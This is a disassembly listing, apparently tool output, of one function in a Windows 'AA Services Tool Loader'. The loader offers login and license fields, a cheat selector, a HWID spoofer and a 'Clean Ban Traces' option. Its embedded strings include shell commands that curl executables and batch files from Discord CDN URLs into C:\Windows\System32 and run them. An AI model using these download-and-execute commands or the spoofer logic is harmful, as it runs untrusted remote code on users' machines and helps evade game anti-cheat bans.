Function at 0x1400fad18
Capabilities:
Create process on windows
Execute command

Disassembly:
jmp 0x1402453b0
push rbp
push rdi
sub rsp, 0xae8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1ea
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1403f3cc0]
xor rax, rbp
mov qword [rbp + 0xa98], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.1400fac4b
call fcn.1400fa6a6
xorps xmm2, xmm2
xorps xmm1, xmm1
lea rcx, [rbp + 0x3f4]
call fcn.1400f9648
mov qword [rbp + 0xa58], rax
movss xmm2, dword [0x1403fce8c]
movss xmm1, dword [0x1403fce88]
lea rcx, [rbp + 0x414]
call fcn.1400f9648
mov qword [rbp + 0xa60], rax
mov r8, qword [rbp + 0xa58]
mov edx, 2
mov rcx, qword [rbp + 0xa60]
call fcn.1400f99a9
movss xmm2, dword [0x1403fce9c]
movss xmm1, dword [0x1403fce98]
lea rcx, [rbp + 0x434]
call fcn.1400f9648
xor edx, edx
mov rcx, rax
call fcn.1400f7e1a
movss xmm0, dword [0x14030a2c8]
call fcn.1400f70aa
movzx eax, byte [reloc.WS2_32.dll_accept]
test eax, eax
je 0x140245cc2
mov r8d, dword [0x1403f3b64]
lea rdx, [0x1403fceb0]
mov rcx, qword [str._________________________________AA_Services____Tool_Loader]
call fcn.1400f9df5
lea rcx, [rbp + 0x474]
call fcn.1400f9305
movss xmm2, dword [0x14030a350]
movss xmm1, dword [rax]
lea rcx, [rbp + 0x454]
call fcn.1400f9648
xor r9d, r9d
mov r8b, 1
mov rdx, rax
lea rcx, str.Left
call fcn.1400fa854
movss xmm2, dword [0x14031f184]
movss xmm1, dword [0x14030a350]
lea rcx, [rbp + 0x494]
call fcn.1400f9648
mov rcx, rax
call fcn.1400fa142
movss xmm2, dword [0x14031f184]
movss xmm1, dword [0x14030a34c]
lea rcx, [rbp + 0x4b4]
call fcn.1400f9648
mov rdx, rax
lea rcx, [0x1403ba54c]
call fcn.1400f84a5
movzx eax, al
test eax, eax
je 0x140245540
mov dword [0x1403fcae4], 0
call fcn.1400f9616
movss xmm2, dword [0x14031f184]
movss xmm1, dword [0x14030a358]
lea rcx, [rbp + 0x4d4]
call fcn.1400f9648
mov rcx, rax
call fcn.1400fa142
movss xmm2, dword [0x14031f184]
movss xmm1, dword [0x14030a34c]
lea rcx, [rbp + 0x4f4]
call fcn.1400f9648
mov rdx, rax
lea rcx, [0x1403ba550]
call fcn.1400f84a5
movzx eax, al
test eax, eax
je 0x1402455a5
mov dword [0x1403fcae4], 1
call fcn.1400f9616
movss xmm2, dword [0x14031f184]
movss xmm1, dword [0x14031f1c4]
lea rcx, [rbp + 0x514]
call fcn.1400f9648
mov rcx, rax
call fcn.1400fa142
movss xmm2, dword [0x14031f184]
movss xmm1, dword [0x14030a34c]
lea rcx, [rbp + 0x534]
call fcn.1400f9648
mov rdx, rax
lea rcx, [0x1403ba554]
call fcn.1400f84a5
movzx eax, al
test eax, eax
je 0x14024560a
mov dword [0x1403fcae4], 2
call fcn.1400f9616
call fcn.1400fa2cd
lea rcx, [rbp + 0x574]
call fcn.1400f9305
movss xmm0, dword [rax + 4]
movss dword [rbp + 0xa54], xmm0
lea rcx, [rbp + 0x594]
call fcn.1400f9305
movss xmm0, dword [rax]
movss dword [rbp + 0xa58], xmm0
movss xmm2, dword [rbp + 0xa54]
movss xmm1, dword [rbp + 0xa58]
lea rcx, [rbp + 0x554]
call fcn.1400f9648
xor r9d, r9d
mov r8b, 1
mov rdx, rax
lea rcx, str.Right
call fcn.1400fa854
cmp dword [0x1403fcae4], 0
jne 0x1402458ce
lea rcx, [rbp + 0x5b4]
call fcn.1400f9305
movss xmm0, dword [rax]
divss xmm0, dword [0x14030a2ec]
subss xmm0, dword [0x14030a324]
call fcn.1400f782a
lea rcx, str.Login
call fcn.1400f926a
call fcn.1400f9af8
lea rcx, [rbp + 0x5d4]
call fcn.1400f9305
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x1403ba978]
subsd xmm0, qword [0x14033e220]
cvtsd2ss xmm0, xmm0
call fcn.1400f782a
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0xff
lea r8, [0x1403fceb1]
lea rdx, str.Username
lea rcx, [0x1403ba580]
call fcn.1400fa89a
call fcn.1400f9af8
lea rcx, [rbp + 0x5f4]
call fcn.1400f9305
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x1403ba978]
subsd xmm0, qword [0x14033e220]
cvtsd2ss xmm0, xmm0
call fcn.1400f782a
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x8000
mov r9d, 0xff
lea r8, [0x1403fcfb0]
lea rdx, str.Password
lea rcx, str.password
call fcn.1400fa89a
call fcn.1400f9af8
lea rcx, [rbp + 0x614]
call fcn.1400f9305
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x1403ba978]
addsd xmm0, qword [0x1403ba9a8]
cvtsd2ss xmm0, xmm0
call fcn.1400f782a
movss xmm2, dword [0x14031f184]
movss xmm1, dword [0x14030a34c]
lea rcx, [rbp + 0x634]
call fcn.1400f9648
mov rdx, rax
lea rcx, str.Login
call fcn.1400f84a5
movzx eax, al
test eax, eax
je 0x1402458ce
lea rax, [rbp + 0x658]
mov qword [rbp + 0x698], rax
lea rdx, [0x1403fcfb0]
mov rcx, qword [rbp + 0x698]
call fcn.1400f8ba3
mov qword [rbp + 0xa58], rax
mov rax, qword [rbp + 0xa58]
mov qword [rbp + 0xa60], rax
mov rax, qword [rbp + 0xa60]
mov qword [rbp + 0xa68], rax
lea rax, [rbp + 0x6b8]
mov qword [rbp + 0x6f8], rax
lea rdx, [0x1403fceb1]
mov rcx, qword [rbp + 0x6f8]
call fcn.1400f8ba3
mov qword [rbp + 0xa70], rax
mov rax, qword [rbp + 0xa70]
mov qword [rbp + 0xa78], rax
mov r8, qword [rbp + 0xa68]
mov rdx, qword [rbp + 0xa78]
lea rcx, [0x1403fcb20]
call fcn.1400f86a8
movzx eax, byte [0x1403fcd38]
test eax, eax
jne 0x1402458b0
lea rcx, [0x1403fcd40]
call fcn.1400f7523
xor r9d, r9d
lea r8, str.ERROR.
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1402458ce
mov edx, Ordinal_301
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Beep]
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1403fcad8], 1
cmp dword [0x1403fcae4], 1
jne 0x140245c00
lea rcx, [rbp + 0x714]
call fcn.1400f9305
movss xmm0, dword [rax]
divss xmm0, dword [0x14030a2ec]
subss xmm0, dword [0x14030a334]
call fcn.1400f782a
lea rcx, str.Register
call fcn.1400f926a
call fcn.1400f9af8
lea rcx, [rbp + 0x734]
call fcn.1400f9305
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x1403ba978]
subsd xmm0, qword [0x14033e220]
cvtsd2ss xmm0, xmm0
call fcn.1400f782a
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0xff
lea r8, [0x1403fceb1]
lea rdx, str.Username
lea rcx, [0x1403ba580]
call fcn.1400fa89a
lea rcx, [rbp + 0x754]
call fcn.1400f9305
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x1403ba978]
subsd xmm0, qword [0x14033e220]
cvtsd2ss xmm0, xmm0
call fcn.1400f782a
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x8000
mov r9d, 0xff
lea r8, [0x1403fcfb0]
lea rdx, str.Password
lea rcx, str.password
call fcn.1400fa89a
lea rcx, [rbp + 0x774]
call fcn.1400f9305
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x1403ba978]
subsd xmm0, qword [0x14033e220]
cvtsd2ss xmm0, xmm0
call fcn.1400f782a
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0xff
lea r8, [0x1403fd0af]
lea rdx, str.License
lea rcx, str.license
call fcn.1400fa89a
call fcn.1400f9af8
lea rcx, [rbp + 0x794]
call fcn.1400f9305
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x1403ba978]
addsd xmm0, qword [0x1403ba9a8]
cvtsd2ss xmm0, xmm0
call fcn.1400f782a
movss xmm2, dword [0x14031f184]
movss xmm1, dword [0x14030a34c]
lea rcx, [rbp + 0x7b4]
call fcn.1400f9648
mov rdx, rax
lea rcx, str.Register
call fcn.1400f84a5
movzx eax, al
test eax, eax
je 0x140245c00
lea rax, [rbp + 0x7d8]
mov qword [rbp + 0x818], rax
lea rdx, [0x1403fd0af]
mov rcx, qword [rbp + 0x818]
call fcn.1400f8ba3
mov qword [rbp + 0xa58], rax
mov rax, qword [rbp + 0xa58]
mov qword [rbp + 0xa60], rax
mov rax, qword [rbp + 0xa60]
mov qword [rbp + 0xa68], rax
lea rax, [rbp + 0x838]
mov qword [rbp + 0x878], rax
lea rdx, [0x1403fcfb0]
mov rcx, qword [rbp + 0x878]
call fcn.1400f8ba3
mov qword [rbp + 0xa70], rax
mov rax, qword [rbp + 0xa70]
mov qword [rbp + 0xa78], rax
mov rax, qword [rbp + 0xa78]
mov qword [rbp + 0xa80], rax
lea rax, [rbp + 0x898]
mov qword [rbp + 0x8d8], rax
lea rdx, [0x1403fceb1]
mov rcx, qword [rbp + 0x8d8]
call fcn.1400f8ba3
mov qword [rbp + 0xa88], rax
mov rax, qword [rbp + 0xa88]
mov qword [rbp + 0xa90], rax
mov r9, qword [rbp + 0xa68]
mov r8, qword [rbp + 0xa80]
mov rdx, qword [rbp + 0xa90]
lea rcx, [0x1403fcb20]
call fcn.1400f9e18
movzx eax, byte [0x1403fcd38]
test eax, eax
jne 0x140245bb6
lea rcx, [0x1403fcd40]
call fcn.1400f7523
xor r9d, r9d
lea r8, str.Contact_support.
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140245c00
mov edx, Ordinal_301
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Beep]
mov byte [reloc.WS2_32.dll_accept], 0
call fcn.1400fb07e
movzx eax, byte [0x1403fcad8]
test eax, eax
jne 0x140245be9
mov dword [rbp + 0xa54], 1
jmp 0x140245bf3
mov dword [rbp + 0xa54], 0
movzx eax, byte [rbp + 0xa54]
mov byte [0x1403fcad8], al
cmp dword [0x1403fcae4], 2
jne 0x140245cb8
lea rcx, [rbp + 0x914]
call fcn.1400f9305
movss xmm0, dword [rax]
divss xmm0, dword [0x14030a2ec]
subss xmm0, dword [0x1403ba9ec]
movss xmm2, dword [0x14031f198]
movaps xmm1, xmm0
lea rcx, [rbp + 0x8f4]
call fcn.1400f9648
mov rcx, rax
call fcn.1400fa142
lea rcx, str.Current_Status:
call fcn.1400f926a
movss xmm1, dword [0x14030a37c]
xorps xmm0, xmm0
call fcn.1400f97b0
movss xmm0, dword [0x14030a2c8]
movss dword [rsp + 0x20], xmm0
xorps xmm3, xmm3
movss xmm2, dword [0x14030a2c8]
xorps xmm1, xmm1
lea rcx, [rbp + 0x934]
call fcn.1400f9b66
mov rdx, rax
xor ecx, ecx
call fcn.1400f7a8c
lea rcx, [0x1403fd1b0]
call fcn.1400f7523
mov rcx, rax
call fcn.1400f926a
mov ecx, 1
call fcn.1400fa12e
call fcn.1400fa2cd
call fcn.1400f8ad1
movzx eax, byte [0x1403fcad8]
test eax, eax
je 0x140246124
lea rax, str.Temp_Spoofer
mov qword [rbp + 8], rax
mov r8d, dword [0x1403f3b64]
lea rdx, [0x1403fceb0]
mov rcx, qword [str._________________________________AA_Services____Tool_Loader]
call fcn.1400f9df5
mov eax, dword [0x1403f3b64]
mov dword [rbp + 0xa54], eax
lea rcx, [rbp + 0x984]
call fcn.1400f9305
movss xmm0, dword [rax + 4]
movss dword [rbp + 0xa58], xmm0
lea rcx, [rbp + 0x9a4]
call fcn.1400f9305
movss xmm0, dword [rax]
movss dword [rbp + 0xa5c], xmm0
movss xmm2, dword [rbp + 0xa58]
movss xmm1, dword [rbp + 0xa5c]
lea rcx, [rbp + 0x964]
call fcn.1400f9648
mov qword [rbp + 0xa60], rax
mov r9d, dword [rbp + 0xa54]
mov r8b, 1
mov rdx, qword [rbp + 0xa60]
lea rcx, str.main
call fcn.1400fa854
movsxd rax, dword [0x1403fcadc]
mov rdx, qword [rbp + rax*8 + 8]
lea rcx, str.Product:__s_n_n
call fcn.1400f926a
movss xmm0, dword [0x14031f1b4]
call fcn.1400fa82c
mov dword [rsp + 0x20], 7
mov r9d, 1
lea r8, [rbp + 8]
lea rdx, [0x1403fcadc]
lea rcx, str.cheat_n_n
call fcn.1400f94d6
movss xmm2, dword [0x14031f184]
movss xmm1, dword [0x14031f1b4]
lea rcx, [rbp + 0x9c4]
call fcn.1400f9648
mov rdx, rax
lea rcx, str.__Load_Selected_Tool
call fcn.1400f84a5
movzx eax, al
test eax, eax
je 0x140245eaf
lea rax, [0x1403fcd00]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x28]
call fcn.1400f8072
mov qword [rbp + 0x48], rax
mov rcx, qword [rbp + 0x28]
call fcn.1400f8009
mov qword [rbp + 0x68], rax
jmp 0x140245e26
mov rax, qword [rbp + 0x48]
add rax, 0x20
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x68]
cmp qword [rbp + 0x48], rax
je 0x140245eaf
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x88]
call fcn.1400f77c1
nop
movsxd rax, dword [0x1403fcadc]
mov rdx, qword [rbp + rax*8 + 8]
lea rcx, [rbp + 0x88]
call fcn.1400f8865
movzx eax, al
test eax, eax
je 0x140245e9e
movzx eax, byte [0x1403fcad9]
test eax, eax
jne 0x140245e9e
lea rdx, [0x1400f726c]
lea rcx, [rbp + 0xc8]
call fcn.1400f8b44
nop
lea rcx, [rbp + 0xc8]
call fcn.1400fafa7
call fcn.1400f9f44
nop
lea rcx, [rbp + 0xc8]
call fcn.1400f8b80
nop
lea rcx, [rbp + 0x88]
call fcn.1400f7b36
jmp 0x140245e1a
movzx eax, byte [0x1403fcad9]
test eax, eax
je 0x140245eff
xorps xmm2, xmm2
movss xmm1, dword [0x14030a374]
lea rcx, [rbp + 0x9e4]
call fcn.1400f9648
mov qword [rbp + 0xa58], rax
movss xmm0, dword [0x1403fcae0]
movss dword [rbp + 0xa60], xmm0
xor r8d, r8d
mov rdx, qword [rbp + 0xa58]
movss xmm0, dword [rbp + 0xa60]
call fcn.1400fac82
movss xmm0, dword [0x1403ba9e8]
call fcn.1400fa6f1
movss xmm0, dword [0x14030a358]
call fcn.1400f782a
lea rcx, str._n_nRun_the_spoofer_and_clean_ban_traces._n_n_n_n_n_n_n_n_n_________Please_leave_a_review_
call fcn.1400f926a
movss xmm0, dword [0x1403ba9e8]
call fcn.1400fa6f1
movss xmm0, dword [0x14032bf00]
call fcn.1400f782a
lea rcx, str.Coming_soon...
call fcn.1400f926a
movss xmm0, dword [0x14031f1a0]
call fcn.1400fa6f1
movss xmm0, dword [0x14032bf00]
call fcn.1400f782a
lea rcx, str.Coming_soon...
call fcn.1400f926a
movss xmm0, dword [0x14030a310]
call fcn.1400fa6f1
movss xmm0, dword [0x1403ba9fc]
call fcn.1400f782a
movss xmm2, dword [0x14032bf10]
movss xmm1, dword [0x1403ba9e4]
lea rcx, [rbp + 0xa04]
call fcn.1400f9648
mov rdx, rax
lea rcx, str.Discord
call fcn.1400f84a5
movzx eax, al
test eax, eax
je 0x140246001
lea rcx, [0x1403ba420]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.https:__discord.gg_nhqGdeTEB9
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [0x1403ba420]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movss xmm0, dword [0x1403ba9f0]
call fcn.1400fa6f1
movss xmm0, dword [0x1403ba9f8]
call fcn.1400f782a
movss xmm2, dword [0x14032bf10]
movss xmm1, dword [0x14031f1b8]
lea rcx, [rbp + 0xa24]
call fcn.1400f9648
mov rdx, rax
lea rcx, str.Clean_Ban_Traces
call fcn.1400f84a5
movzx eax, al
test eax, eax
je 0x14024609a
lea rcx, [0x1403ba420]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r9d, r9d
lea r8, str.AA_Services______Tool_Loader
lea rdx, str.Type_N_on_Reset_Adapters___
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1166477125541437491_1197976303081623642_cleaner.exe___output_C:WindowsSystem32cleaner.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32cleaner.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1403ba420]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movss xmm0, dword [0x1403ba9f4]
call fcn.1400fa6f1
movss xmm0, dword [0x1403ba9f8]
call fcn.1400f782a
movss xmm2, dword [0x14032bf10]
movss xmm1, dword [0x14031f1b8]
lea rcx, [rbp + 0xa44]
call fcn.1400f9648
mov rdx, rax
lea rcx, str.Check_Your_Serials
call fcn.1400f84a5
movzx eax, al
test eax, eax
je 0x14024611a
lea rcx, [0x1403ba420]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1166477125541437491_1198277947354779771_HWIDCHECK.bat___output_C:WindowsSystem32HWIDCHECK.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32HWIDCHECK.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1403ba420]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400fa2cd
call fcn.1400f8ad1
lea rcx, [rbp - 0x40]
lea rdx, reloc.WS2_32.dll_closesocket
call fcn.1400fa27d
mov rcx, qword [rbp + 0xa98]
xor rcx, rbp
call fcn.1400f8d4c
lea rsp, [rbp + 0xaa8]
pop rdi
pop rbp
ret